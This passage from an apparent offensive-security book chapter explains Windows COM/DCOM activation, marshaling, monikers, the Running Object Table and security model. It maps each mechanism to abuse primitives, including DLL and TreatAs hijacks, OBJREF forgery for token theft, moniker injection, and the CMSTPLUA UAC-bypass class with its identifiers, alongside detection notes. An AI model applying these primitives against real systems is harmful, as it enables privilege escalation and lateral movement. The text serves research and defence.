| `NO_FAILURE_LOG` | `0x4000` | | `ALL` = `0x17`, `SERVER` = `0x15` | composites |
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: follow a single `CoCreateInstance` call left to right — registry/TreatAs resolution first, then the CLSCTX branch. Each branch endpoint is a process boundary (or machine boundary) whose crossing is where security checks and attack surface concentrate.*
|
||||||
|
|
||||||
|
### 5.2 In-process activation (`CLSCTX_INPROC_SERVER`)
|
||||||
|
|
||||||
|
1. combase resolves `HKCR\CLSID\{clsid}`: **`TreatAs`/`AutoTreatAs` first** (recursive redirect), then the SxS activation context, then `InprocServer32` in the bitness-appropriate view.
|
||||||
|
2. `LoadLibraryW(server.dll)` — subject to DLL search order, KnownDLLs, and Safer/AppLocker policy.
|
||||||
|
3. `GetProcAddress("DllGetClassObject")` → call `DllGetClassObject(rclsid, riid, &pv)`. Every COM DLL exports `DllGetClassObject`, `DllCanUnloadNow`, and optionally `DllRegisterServer`/`DllUnregisterServer` (invoked by `regsvr32.exe`).
|
||||||
|
4. The server returns its class factory; `IClassFactory::CreateInstance` news the object and QIs the requested IID.
|
||||||
|
5. Unload path: `CoFreeUnusedLibraries` periodically calls `DllCanUnloadNow` → `S_OK` ⇒ `FreeLibrary`.
|
||||||
|
|
||||||
|
> **Key idea:** Attack surface exists at *every* step: a TreatAs redirect (no DLL of the real class ever loads), a phantom `InprocServer32` path pointing at a non-existent file you can plant, search-order planting, an unsigned DLL loaded into arbitrary — including elevated or PPL-adjacent — processes, and refcount/UAF bugs on the unload path. In-proc activation is a DLL-load primitive wearing a registry costume.
|
||||||
|
|
||||||
|
### 5.3 Local out-of-process activation (`CLSCTX_LOCAL_SERVER`)
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: everything above the boundary line runs with the caller's address space and token; below it, a separate process with its own identity. The broker (RPCSS/DcomLaunch) is the only legitimate way across, and its gates are numbered in the text below.*
|
||||||
|
|
||||||
|
1. combase sees no (or an excluded) in-proc server → asks the **activator** over ALPC/LRPC: on modern Windows this is the **`ISystemActivator`/`IRemoteSCMActivator` interface, GUID `{000001A0-0000-0000-C000-000000000046}`**, implemented by `rpcss.dll` and mirrored in-process in combase for the local fast path ([18]).
|
||||||
|
2. RPCSS validates, in order: `HKLM\...\Ole!MachineLaunchRestriction` → AppID `LaunchPermission` (or `DefaultLaunchPermission`) → identity selection:
|
||||||
|
- default **launching user** (server started with the caller's token — integrity level inherited),
|
||||||
|
- `RunAs` = specific user (prompted/stored credentials) or `Interactive User` (**server in the currently logged-on session — the cross-session primitive**, section 9.3),
|
||||||
|
- `LocalService` = start a service via the SCM.
|
||||||
|
3. RPCSS (via DcomLaunch) starts the process: the `LocalServer32` command line **with the `-Embedding` switch**, or `dllhost.exe /Processid:{AppID}` for surrogates, or the service.
|
||||||
|
4. The server process calls `CoInitializeEx`, creates its class factories, then **`CoRegisterClassObject(clsid, pCF, CLSCTX_LOCAL_SERVER, REGCLS_*, &dwCookie)`** — registration lands in RPCSS's class table. Flags: `REGCLS_SINGLEUSE=0` (one activation then dead), `MULTIPLEUSE=1`, `MULTI_SEPARATE=2`, `SUSPENDED=4` (register all, then `CoResumeClassObjects()` atomically — avoids a race where a client activates a half-initialized server), `SURROGATE=8`.
|
||||||
|
5. RPCSS marshals the class-factory reference (an `OBJREF`, section 6.2) back to the client.
|
||||||
|
6. Client unmarshals → proxy for `IClassFactory` → the `CreateInstance` call goes over ORPC → server returns the requested interface pointer, again as an `OBJREF`; the client builds the interface proxy/stub chain from `HKCR\Interface\{IID}\ProxyStubClsid32`.
|
||||||
|
7. Lifetime: the client holds refs; the server stays alive until the last external reference plus `LockServer` count drop, then calls `CoRevokeClassObject` and exits.
|
||||||
|
|
||||||
|
> **OpSec:** A `LocalServer32` spawn is noisy in a good way for defenders: `svchost -k DcomLaunch` is the parent, the child carries `-Embedding` on its command line, and surrogates show `/Processid:{AppID}`. Any process tree matching these shapes with an unexpected child binary is an activation artifact worth an alert.
|
||||||
|
|
||||||
|
### 5.4 Remote activation (DCOM)
|
||||||
|
|
||||||
|
The client passes `COSERVERINFO{pwszName="HOST"}` (or an AppID `RemoteServerName`, or an `ActivateAtStorage`/moniker path). Local RPCSS forwards to the remote host on **TCP 135** and speaks `IRemoteSCMActivator` opnums ([8], [9]):
|
||||||
|
|
||||||
|
| Opnum | Method |
|
||||||
|
|---|---|
|
||||||
|
| 3 | `RemoteGetClassObject` |
|
||||||
|
| 4 | `RemoteGetInstanceFromFile` |
|
||||||
|
| 5 | `RemoteGetInstanceFromStorage` |
|
||||||
|
| 6 | `RemoteCreateInstance` |
|
||||||
|
|
||||||
|
Parameters travel as marshaled activation-property blobs: `IActivationPropertiesIn/Out` containing `IInstantiationInfo` {CLSID, CLSCTX, IID array}, `ISecurityInfo` {authn/authz levels}, and on return `IActivationPropertiesOut` → `PropsOutInfo { DWORD cifs; IID *piid; HRESULT *phr; MInterfacePointer **ppIntfData; }`, where `MInterfacePointer = { ULONG ulCntData; byte abData[]; }` is a little-endian **OBJREF** ([18]). After activation, method calls flow over **dynamic RPC ports** negotiated via `IOXIDResolver` (section 6.3). The Windows Firewall exception group is "COM+ Network Access" / DCOM TCP 135 plus the dynamic range.
|
||||||
|
|
||||||
|
> **Key idea:** The `CoCreateInstanceEx` DCOM path is exactly what lateral movement rides on — `MMC20.Application`, `ShellWindows`, `ShellBrowserWindow`, Excel DDE, Visio, Outlook, and the Control Panel abuse documented by Securelist ([15]). If you understand this one paragraph, the entire DCOM lateral-movement chapter is mechanics.
|
||||||
|
|
||||||
|
### 5.5 Moniker-based activation
|
||||||
|
|
||||||
|
`CoGetObject(name, bindopts, iid, ppv)` = `MkParseDisplayName` + `BindToObject`. Display-name parsing: the prefix before the first `:` is resolved as a **ProgID** → the class implementing `IParseDisplayName` (`{0000001A-0000-0000-C000-000000000046}`) builds the moniker (this is how `clsid:`, `new:`, `session:`, `Elevation:`, `script:`, `queue:`, `soap:` get their meaning); otherwise a file path builds a FileMoniker; `!` composes monikers into a **CompositeMoniker** `{00000309-0000-0000-C000-000000000046}` which binds right-to-left (the left part becomes `pmkToLeft`). Section 8 catalogs every prefix and its abuse potential.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Marshaling and the wire
|
||||||
|
|
||||||
|
### 6.1 Proxy/stub architecture
|
||||||
|
|
||||||
|
When caller and object live in different apartments, processes, or machines, COM splits every call ([7], [9]):
|
||||||
|
|
||||||
|
- **Proxy** (client side, `IRpcProxyBuffer`) packs arguments with NDR → channel (`IRpcChannelBuffer` over the RPC runtime) →
|
||||||
|
- **Stub** (server side, `IRpcStubBuffer::Invoke`) unpacks, calls the real method, packs the return.
|
||||||
|
- Factory: **`IPSFactoryBuffer`** (`GetProxyIID`, `CreateProxy`, `CreateStub`), registered via `HKCR\Interface\{IID}\ProxyStubClsid32`.
|
||||||
|
|
||||||
|
> **Beginner note:** **Marshaling** = serializing a method call (arguments, interface pointers) so it can cross a boundary, then reconstructing it on the far side. **NDR** (Network Data Representation) is the DCE/RPC serialization format COM uses. You already know the trust anchor problem: the proxy/stub DLL is chosen by a registry key, and it loads into *both* endpoints.
|
||||||
|
|
||||||
|
Three marshaling flavors, recorded in the OBJREF `flags`:
|
||||||
|
|
||||||
|
1. **Standard** (`0x1`): a MIDL-generated proxy/stub DLL, or the **universal marshaler** (`PSOAInterface {00020424-0000-0000-C000-000000000046}`) which marshals any `[oleautomation]` interface by reading its type library at runtime.
|
||||||
|
2. **Handler** (`0x2`): a light client-side handler DLL (`InprocHandler32`) plus a standard reference.
|
||||||
|
3. **Custom** (`0x4`): the object implements **`IMarshal`** (`{00000003-0000-0000-C000-000000000046}`: `GetUnmarshalClass`, `GetMarshalSizeMax`, `MarshalInterface`, `UnmarshalInterface`, `ReleaseMarshalData`, `DisconnectObject`). An `OBJREF_CUSTOM` carries `{CLSID of unmarshal class, cbExtension, size, pData[]}` — an **attacker-controlled blob deserialized by `IMarshal::UnmarshalInterface` of an arbitrary registered class**.
|
||||||
|
|
||||||
|
> **Key idea:** Custom marshaling means "pick any registered class to parse bytes you control, inside the victim process". This is the Forged-OLEData / relay bug class — the POTATO family's `CoGetInstanceFromIStorage` OBJREF forgery lives here — and the mitigations (`EOAC_NO_CUSTOM_MARSHAL`, `CLSCTX_NO_CUSTOM_MARSHAL`) exist precisely because of it.
|
||||||
|
|
||||||
|
Client-side convenience APIs you will meet in exploit code: `CoMarshalInterface`, `CoUnmarshalInterface`, `CoMarshalInterThreadInterfaceInStream` + `CoGetInterfaceAndReleaseStream`, `CoCreateFreeThreadedMarshaler` (FTM CLSID `{00000333-0000-0000-C000-000000000046}` — a custom marshaler whose blob is just the raw pointer; it neutralizes apartment checks and is a classic source of "marshaled" objects being callable from any thread), and the **Global Interface Table** — a service-wide cookie↔pointer store: `IGlobalInterfaceTable` `{00000146-0000-0000-C000-000000000046}` on `CLSID_StdGlobalInterfaceTable` `{00000323-0000-0000-C000-000000000046}` (`RegisterInterfaceInGlobal` / `GetInterfaceFromGlobal` / `RevokeInterfaceFromGlobal`).
|
||||||
|
|
||||||
|
### 6.2 OBJREF — the marshaled interface pointer (on the wire: `MEOW`)
|
||||||
|
|
||||||
|
```c
|
||||||
|
typedef struct tagOBJREF {
|
||||||
|
unsigned long signature; // 0x574F454D == 'MEOW' (little-endian)
|
||||||
|
unsigned long flags; // OBJREF_STANDARD=0x1 | HANDLER=0x2 | CUSTOM=0x4 | EXTENDED=0x8
|
||||||
|
GUID iid; // IID being marshaled
|
||||||
|
union {
|
||||||
|
struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard;
|
||||||
|
struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler;
|
||||||
|
struct { CLSID clsid; unsigned long cbExtension, size; byte *pData; } u_custom;
|
||||||
|
struct { STDOBJREF std; unsigned long Signature1; DUALSTRINGARRAY saResAddr;
|
||||||
|
unsigned long nElms; unsigned long Signature2; DATAELEMENT ElmArray; } u_extended;
|
||||||
|
} u_objref;
|
||||||
|
} OBJREF;
|
||||||
|
|
||||||
|
typedef unsigned __int64 OXID; // object exporter (per apartment+protocol, machine-unique)
|
||||||
|
typedef unsigned __int64 OID; // object identity (per exporter)
|
||||||
|
typedef GUID IPID; // interface pointer (per object)
|
||||||
|
|
||||||
|
typedef struct tagSTDOBJREF {
|
||||||
|
unsigned long flags; // SORF_* (SORF_NOPING=0x1000)
|
||||||
|
unsigned long cPublicRefs; // refcounts transferred with this marshaling
|
||||||
|
OXID oxid; OID oid; IPID ipid;
|
||||||
|
} STDOBJREF;
|
||||||
|
|
||||||
|
typedef struct tagSTRINGBINDING { unsigned short wTowerId; /* 0x07=ncacn_ip_tcp, 0x1F=ncacn_http */
|
||||||
|
unsigned short aNetworkAddr; } STRINGBINDING; // zero-terminated
|
||||||
|
typedef struct tagSECURITYBINDING { unsigned short wAuthnSvc; /* 0x0A=NTLM(WinNT), 0x09=Kerberos, 0xFFFF=none */
|
||||||
|
unsigned short wAuthzSvc; unsigned short aPrincName; } SECURITYBINDING;
|
||||||
|
typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; unsigned short wSecurityOffset;
|
||||||
|
unsigned short aStringArray[]; } DUALSTRINGARRAY;
|
||||||
|
```
|
||||||
|
|
||||||
|
([7], [10]) `MEOW` is trivially greppable in packet captures and memory — the universal indicator of a marshaled COM reference, useful both offensively (carving OBJREFs out of `MInterfacePointer` blobs) and for detection rules.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the left half is the call path (client → proxy → channel → stub → object); the right half is what an interface pointer becomes on the wire — signature, flags, IID, then the STDOBJREF carrying OXID/OID/IPID plus the string bindings that tell the client where the server listens.*
|
||||||
|
|
||||||
|
### 6.3 ORPC call flow, OXID resolution, liveness
|
||||||
|
|
||||||
|
1. The client unmarshals an OBJREF and needs the exporter's RPC bindings: it calls **`IOXIDResolver`** (a.k.a. `IObjectExporter`, UUID `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, reached on the exporter machine via RPCSS/135) → `ResolveOxid2(oxid, cRequestedProtseqs, arRequestedProtseqs[], &dsa, &ipidRemUnknown, &authnHint, &comVersion)` returns the string bindings — i.e. the dynamic TCP port ([7], [9]).
|
||||||
|
2. Calls are then ordinary MS-RPCE with an **ORPC extension** (`ORPCTHIS`/`ORPCTHAT`: causality GUID, extensions) to the resolved endpoint, dispatched by **IPID** → stub manager → interface stub → apartment → method. Standard IPIDs: `IRemUnknown` `{00000131-0000-0000-C000-000000000046}` (`RemQueryInterface`, `RemAddRef`, `RemRelease`) and `IRemUnknown2` `{00000143-...}` handle remote QI and refcounting.
|
||||||
|
3. **Pinging/liveness**: `IOXIDResolver::SimplePing(pingId)` and `ComplexPing` keep OIDs alive; missed pings ⇒ the server garbage-collects stubs; a client `Release` becomes `RemRelease`, decrementing `cPublicRefs`.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: two conversations are interleaved — the activation exchange against port 135 (IRemoteSCMActivator) and the per-object conversation against a dynamic port learned via ResolveOxid2. When you sniff a DCOM lateral movement, expect exactly this two-stage pattern.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Apartments and threading
|
||||||
|
|
||||||
|
An **apartment** is COM's unit of thread-affinity: every thread that touches COM belongs to exactly one, and every object lives in exactly one.
|
||||||
|
|
||||||
|
- A thread joins COM via `CoInitializeEx(NULL, COINIT_APARTMENTTHREADED=0x2)` → **STA** (single-threaded apartment; one per thread). COM creates a hidden window — class `OleMainThreadWndClass` — whose WndProc dispatches cross-apartment calls ([30]).
|
||||||
|
- `COINIT_MULTITHREADED=0x0` → **MTA** (multi-threaded apartment; one per process). A thread that never initializes COM lands in the **implicit MTA** once the process uses COM. Re-initializing with a conflicting model returns `RPC_E_CHANGED_MODE`.
|
||||||
|
- `ThreadingModel=Neutral` objects live in the **TNA** (thread-neutral apartment, COM+) and can be called from any apartment without a proxy.
|
||||||
|
|
||||||
|
Rules that drive real bugs ([29], [30], [41]):
|
||||||
|
|
||||||
|
1. **STA owners must pump messages** (`GetMessage`/`DispatchMessage`). Otherwise cross-apartment calls into its objects hang, and the reverse-channel reentrancy that occurs while the STA is *outbound*-calling something else is a classic deadlock — and a classic exploit-reliability problem, because your trigger and your payload race on the message loop.
|
||||||
|
2. Incoming ORPC calls to an STA are **posted as window messages**; to an MTA they execute directly on RPC thread-pool threads, so MTA objects must self-synchronize.
|
||||||
|
3. Passing an interface pointer across apartments requires marshaling (`CoMarshalInterThreadInterfaceInStream`, or the GIT) — *except* for objects that aggregate the **FTM** (section 6.1), which bypass apartment checks entirely, or `Neutral` components.
|
||||||
|
|
||||||
|
> **Key idea:** Wrong `ThreadingModel` never fails loudly — COM silently marshals. That silent behavior change is why exploits that work in a console PoC die inside a real target: the target's apartment decided your object now lives behind a message pump you don't control. When weaponizing STA-based triggers (Office, shell, IE), build the pump into your harness or move the work to an MTA thread.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Monikers and the Running Object Table
|
||||||
|
|
||||||
|
A **moniker** is a persistent, composable "name of an object": an object that knows how to *bind* itself — turn a name back into a live interface pointer. `IMoniker` (`{0000000F-0000-0000-C000-000000000046}`) methods: `BindToObject`, `BindToStorage`, `Reduce`, `ComposeWith`, `Enum`, `IsEqual`, `Hash`, `IsRunning`, `GetTimeOfLastChange`, `Inverse`, `CommonPrefixWith`, `RelativePathTo`, `GetDisplayName`, `ParseDisplayName`, `IsSystemMoniker` ([11]).
|
||||||
|
|
||||||
|
The bind context `IBindCtx` (`{0000000E-...}`) carries `BIND_OPTS{cbStruct, grfFlags, grfMode, dwTickCountDeadline}`; `BIND_OPTS2` adds `{dwTrackFlags, dwClassContext, locale, pServerInfo}`; **`BIND_OPTS3` adds `hwnd`** — a consent-UI parent window used with elevation monikers (section 10).
|
||||||
|
|
||||||
|
### 8.1 System moniker catalog
|
||||||
|
|
||||||
|
| Moniker | CLSID | Prefix | Notes |
|
||||||
|
|---|---|---|---|
|
||||||
|
| File | `{00000303-0000-0000-C000-000000000046}` | path | Binds via the class of the file extension |
|
||||||
|
| Item | `{00000304-...}` | `!item` | Composite right part |
|
||||||
|
| Anti | `{00000305-...}` | — | Inverse/cancel |
|
||||||
|
| Pointer | `{00000306-...}` | — | Wraps a live pointer |
|
||||||
|
| Composite | `{00000309-...}` | `A!B` | Left-to-right composition, right-to-left bind |
|
||||||
|
| Class | `{0000031A-...}` | `clsid:{...}` | Thin wrapper over `CoGetClassObject`/`CreateInstance` |
|
||||||
|
| **New** | `{ECABAFC6-7F19-11D2-978E-0000F8757E2A}` | `new:{clsid}` or `new:ProgID` | Instantiate via moniker (Office-blacklisted) |
|
||||||
|
| **Session** | *(CLSID unverified — confirm in OleViewDotNet; syntax documented)* | `session:N!new:{clsid}` | Activates in another logon session (cross-session LPE primitive; cf. Forshaw research / CVE-2017-0100 class) |
|
||||||
|
| **Elevation** | *(implemented in combase; CLSID unverified)* | `Elevation:Administrator!new:{clsid}` / `Elevation:Highest!new:` | UAC bridge (section 10) |
|
||||||
|
| **Script** | `{06290BD3-48AA-11D2-8432-006008C3FBFC}` | `script:URL` / `scriptlet:URL` | `scrobj.dll`; downloads and runs a Windows Script Component; ProgIDs `script`, `scriptlet` ([24]) |
|
||||||
|
| Scriptlet Factory | `{06290BD2-...}` (`Scriptlet.Factory`) | — | `IPersistMoniker`-bindable scriptlet constructor ([40]) |
|
||||||
|
| Queue | `{ECABAFC7-7F19-11D2-978E-0000F8757E2A}` | `queue:` | MSMQ queued components |
|
||||||
|
| SOAP | `{ECABB0C7-7F19-11D2-978E-0000F8757E2A}` | `soap:wsdl=...` | CVE-2017-8759 (.NET WSDL RCE) |
|
||||||
|
|
||||||
|
> **Warning (carried from the research brief's confidence notes):** the **Session** and **Elevation** moniker *implementation CLSIDs are unverified* — the display-name syntax above is documented, but confirm the numeric CLSIDs in OleViewDotNet before citing them in reporting.
|
||||||
|
|
||||||
|
> **Key idea:** Any API that accepts a *string* and internally binds it — `CoGetObject`, `MkParseDisplayName`, OLE object embedding, `LoadTypeLib` (section 4.5) — is a moniker injection point. The dangerous prefixes (`script:`, `new:`, `session:`, `Elevation:`, composites with `!`) turn "a path parameter" into arbitrary class instantiation, script download, cross-session activation, or a UAC bridge. This is why the execution chapter treats every string-accepting COM API as suspect.
|
||||||
|
|
||||||
|
### 8.2 The Running Object Table (ROT)
|
||||||
|
|
||||||
|
The **ROT** is a per-session table, hosted in RPCSS, of objects that have declared themselves "running". Clients get it via `GetRunningObjectTable` → `IRunningObjectTable` (`{00000010-0000-0000-C000-000000000046}`); servers register with `Register(grfFlags, punk, pmkName, &dwCookie)` using `ROTFLAGS_REGISTRATIONKEEPSALIVE=0x1` and `ROTFLAGS_ALLOWANYCLIENT=0x2`; lookup via `GetObject`, `IsRunning`, `EnumRunning`; `GetActiveObject(clsid)` consults the ROT.
|
||||||
|
|
||||||
|
Abuse primitives, both exercised in later chapters:
|
||||||
|
|
||||||
|
- **ROT squatting** — register an attacker object under a well-known display name *before* the legitimate server does; clients that ask the ROT get you instead.
|
||||||
|
- **ROT snooping/harvesting** — `EnumRunning` reveals other applications' live objects; Office documents expose their full object models through the ROT, a goldmine for data theft and macro-less execution.
|
||||||
|
- **Cross-integrity exposure** — `ROTFLAGS_ALLOWANYCLIENT` plus AppID `ROTFlags=1` makes a server's objects visible to clients at other integrity levels.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. The COM security model
|
||||||
|
|
||||||
|
### 9.1 `CoInitializeSecurity` — the process-wide baseline
|
||||||
|
|
||||||
|
Callable once per process (if never called, the first proxy operation auto-invokes it with registry defaults) ([2], [28]):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
HRESULT CoInitializeSecurity(
|
||||||
|
PSECURITY_DESCRIPTOR pSecDesc, // access SD (or AppID GUID with EOAC_APPID, or IAccessControl*)
|
||||||
|
LONG cAuthSvc, // -1 = default list
|
||||||
|
SOLE_AUTHENTICATION_SERVICE *asAuthSvc,
|
||||||
|
void *pReserved1,
|
||||||
|
DWORD dwAuthnLevel, // RPC_C_AUTHN_LEVEL_*
|
||||||
|
DWORD dwImpLevel, // RPC_C_IMP_LEVEL_*
|
||||||
|
void *pAuthList, // SOLE_AUTHENTICATION_LIST
|
||||||
|
DWORD dwCapabilities,// EOAC_*
|
||||||
|
void *pReserved3);
|
||||||
|
```
|
||||||
|
|
||||||
|
`RPC_C_AUTHN_LEVEL_*`: `DEFAULT=0, NONE=1, CONNECT=2, CALL=3, PKT=4, PKT_INTEGRITY=5, PKT_PRIVACY=6`.
|
||||||
|
`RPC_C_IMP_LEVEL_*`: `DEFAULT=0, ANONYMOUS=1, IDENTIFY=2, IMPERSONATE=3, DELEGATE=4`.
|
||||||
|
`EOAC_*`: `MUTUAL_AUTH=0x1, SECURE_REFS=0x2, ACCESS_CONTROL=0x4, APPID=0x8, DYNAMIC=0x10, STATIC_CLOAKING=0x20, DYNAMIC_CLOAKING=0x40, ANY_AUTHORITY=0x80, MAKE_FULLSIC=0x100, REQUIRE_FULLSIC=0x200, AUTO_IMPERSONATE=0x400, DEFAULT=0x800, DISABLE_AAA=0x1000, NO_CUSTOM_MARSHAL=0x2000`.
|
||||||
|
|
||||||
|
> **Beginner note:** **Authentication level** answers "how sure are we who is calling, and how protected are the packets?" (`NONE` = not at all; `PKT_INTEGRITY` = signed; `PKT_PRIVACY` = encrypted). **Impersonation level** is set by the *client* and answers "what may the server do with my identity?": `IDENTIFY` lets the server check who you are, `IMPERSONATE` lets it act as you locally, `DELEGATE` lets it act as you on other machines.
|
||||||
|
|
||||||
|
### 9.2 Where checks happen — the defense-in-depth chain
|
||||||
|
|
||||||
|
1. **Launch** (RPCSS): `MachineLaunchRestriction` → AppID `LaunchPermission` (else `DefaultLaunchPermission`). Failure ⇒ `E_ACCESSDENIED` at activation and the classic "DistributedCOM 10016" log noise (event IDs **10015/10016** family).
|
||||||
|
2. **Access** (first call into the server): the server's `CoInitializeSecurity` SD, else AppID `AccessPermission`, else `DefaultAccessPermission`, all gated by `MachineAccessRestriction`.
|
||||||
|
3. **Authentication-level negotiation**: client vs server vs machine legacy defaults; since the CVE-2021-26414 hardening, non-anonymous activation is floored at `PKT_INTEGRITY` (section 9.5).
|
||||||
|
4. **Impersonation** (server side): `CoImpersonateClient()`/`CoRevertToSelf()` — the client-supplied `dwImpLevel` caps what the server may do (Anonymous < Identify < Impersonate < Delegate). **Cloaking** (`EOAC_STATIC/DYNAMIC_CLOAKING`) decides *which token* the proxy actually presents.
|
||||||
|
|
||||||
|
> **Key idea:** The impersonation contract is where the potato family lives. If a high-privilege server calls back into you with `IMPERSONATE` or `DELEGATE`, you hold its token; cloaking bugs and wrong-identity activation are how "token kidnap" happens. Chain gates 1–3 decide *whether you may talk*; gate 4 decides *whose token you walk away with*.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the arrow from client to server carries both the call and a token-usage grant. The four levels are a ladder; a server that only checks "did you authenticate?" but ignores the granted level is exactly the bug class the potato exploits abuse.*
|
||||||
|
|
||||||
|
### 9.3 Server identity selection
|
||||||
|
|
||||||
|
Chosen at launch from the AppID (section 4.3): **launching user** (default; the activator's token — *integrity level is inherited*: a medium-IL activator gets a medium-IL server), a `RunAs` user, `LocalService`, or **`Interactive User`** — which creates the object **in whatever session is currently interactive**, enabling cross-session activation by lower-privileged users when Launch/Access ACLs allow it.
|
||||||
|
|
||||||
|
Real-world anchor: bohops' CVE-2023-33127 chain activated the PhoneExperienceHost CLSID `{7540C300-BE9B-4C0D-A335-F002F9AB73B7}` cross-session ([16]). The general discovery method is an OleViewDotNet filter for "Run as: Interactive User" (section 13).
|
||||||
|
|
||||||
|
### 9.4 Cloaking
|
||||||
|
|
||||||
|
Without cloaking, a server calling *out* presents its process token; with `EOAC_STATIC_CLOAKING` it presents a token captured at first call, with `EOAC_DYNAMIC_CLOAKING` the thread's current token. Misunderstanding which token flows is the root of "wrong-identity" bugs during activation — the privilege-escalation chapter details how activation-time cloaking mistakes yield SYSTEM tokens.
|
||||||
|
|
||||||
|
### 9.5 DCOM hardening (CVE-2021-26414, KB5004442)
|
||||||
|
|
||||||
|
Windows DCOM Server Security Feature Bypass: Microsoft phased in a minimum of `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` for non-anonymous activation ([20], [21], [22]):
|
||||||
|
|
||||||
|
| Date | Change |
|
||||||
|
|---|---|
|
||||||
|
| Jun 2021 | Opt-in: `HKLM\SOFTWARE\Microsoft\Ole\AppCompat!RequireIntegrityActivationAuthenticationLevel=1` |
|
||||||
|
| Jun 2022 | Default-on |
|
||||||
|
| Nov 2022 | Clients auto-raise: `RaiseActivationAuthenticationLevel=2` |
|
||||||
|
| Mar 2023 | Mandatory |
|
||||||
|
|
||||||
|
Telemetry: System log, source **DistributedCOM**, events **10036** (server rejected activation below the floor), **10037/10038** (client below the floor) — also prime detection content for spotting lateral-movement activation attempts in the wild.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. The elevation bridge
|
||||||
|
|
||||||
|
The **elevation moniker** is COM's built-in UAC bridge: a display string that asks for an object to be created *elevated* ([3]):
|
||||||
|
|
||||||
|
```text
|
||||||
|
CoGetObject("Elevation:Administrator!new:{CLSID}", &bind_opts3_with_hwnd, riid, &ppv)
|
||||||
|
```
|
||||||
|
|
||||||
|
The call routes through the **AppInfo service** (`appinfo.dll`, `RAiLaunchAdminProcess`), which evaluates the class's elevation policy and shows consent UI — or auto-approves. Class requirements, verified verbatim against Microsoft's "The COM Elevation Moniker" documentation and independent requirement testing ([3], [31]):
|
||||||
|
|
||||||
|
- Registered under **HKLM only** — HKCU registrations cannot elevate (a `CO_E_ELEVATION_DISABLED` path guard);
|
||||||
|
- `HKCR\CLSID\{CLSID}\Elevation\Enabled = 1` (else `CO_E_ELEVATION_DISABLED`);
|
||||||
|
- `HKCR\CLSID\{CLSID}\LocalizedString = @dll,-resid` — an MUI display name (else `CO_E_MISSING_DISPLAYNAME`; MUI load errors from `RegLoadMUIStringW` propagate);
|
||||||
|
- Optional `Elevation\IconReference`; the binary must be signed for the icon to display;
|
||||||
|
- The class must run as **launching user / Activate-as-Activator**, else `CO_E_RUNAS_VALUE_MUST_BE_AAA`;
|
||||||
|
- An already-elevated client gets no UI.
|
||||||
|
- `BIND_OPTS3`'s `hwnd` parents the consent dialog to a window.
|
||||||
|
|
||||||
|
Two elevation classes exist: **prompted** (consent UI — legitimate) and **auto-elevated** (silent for auto-approved binaries). The auto-elevated class inventory is what the CMSTPLUA bypass family abuses: `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` + `ICMLuaUtil` `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` → `ShellExec` ([32], [33]); in-the-wild use is documented in the ALPHV ransomware and loader campaigns ([34], [35], [37]). The server-side spawn artifact is an elevated **`dllhost.exe /Processid:{3E5FC7F9-...}`** or the `LocalServer32` EXE at High IL ([34], [36]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the same string either dies at a policy gate (missing HKLM registration, missing Elevation\Enabled, missing LocalizedString, wrong RunAs) or emerges on the right as a High-integrity server. Auto-approved classes skip the consent box entirely — that gap is the UAC-bypass chapter.*
|
||||||
|
|
||||||
|
> **Key idea:** The elevation bridge is a *policy engine keyed on registry values* — and section 4.1 told you who can write registry values. The UAC chapter is devoted to the gap between "must be under HKLM" and everything attackers do to get a process that already runs elevated to look somewhere else. This section exists so you can read that chapter's requirements checks as a checklist rather than magic.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. WinRT and .NET bridges
|
||||||
|
|
||||||
|
**WinRT** is COM vNext, not a replacement ([17], [42]):
|
||||||
|
|
||||||
|
- Same `IUnknown` base; **`IInspectable`** (IID `{AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}`; `GetIids`, `GetRuntimeClassName`, `GetTrustLevel`) replaces `IDispatch`.
|
||||||
|
- Metadata lives in `.winmd` files (ECMA-335 format) instead of TLBs.
|
||||||
|
- Activation via `RoGetActivationFactory(HSTRING clsid, IID, void**)` / `RoActivateInstance`.
|
||||||
|
- Classes register per-package under `HKLM\SOFTWARE\Microsoft\WindowsRuntime` (with `ActivatableClassId` server mappings) — **not** `HKCR\CLSID` — so classic hijack tooling doesn't see them. Language projections (C++/WinRT, C#/WinRT, `RoGetActivationFactory` shims) sit on top. Forshaw's OleViewDotNet parses both worlds.
|
||||||
|
|
||||||
|
**.NET interop**: managed classes exposed to COM are hosted by **`mscoree.dll`** as the `InprocServer32`, with values `Class`, `Assembly`, `RuntimeVersion`, `CodeBase`. Managed clients get an **RCW** (runtime callable wrapper, `System.Runtime.InteropServices`); COM clients of managed servers get a **CCW** (COM callable wrapper). Type libraries come from `regasm /tlb` / `tlbexp`; `[ComImport]`+`[Guid]` declares native interfaces in managed code.
|
||||||
|
|
||||||
|
> **Key idea:** OleViewDotNet builds dynamic `IDispatch` stubs at runtime to call arbitrary vtables from C# — the same trick the incendium.rocks fuzzing methodology uses to automate `Invoke` against every registered class ([26]). If you can describe an interface, you can call it from PowerShell or C#; no C++ required. The Research Lab (section 14) turns this into a workbench.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. The attack-surface map
|
||||||
|
|
||||||
|
Every row below is a primitive you can now explain from first principles; the "mechanism" column points back to the section of this chapter that defines it.
|
||||||
|
|
||||||
|
| # | Primitive (rooted in this chapter) | Mechanism | Attack family |
|
||||||
|
|---|---|---|---|
|
||||||
|
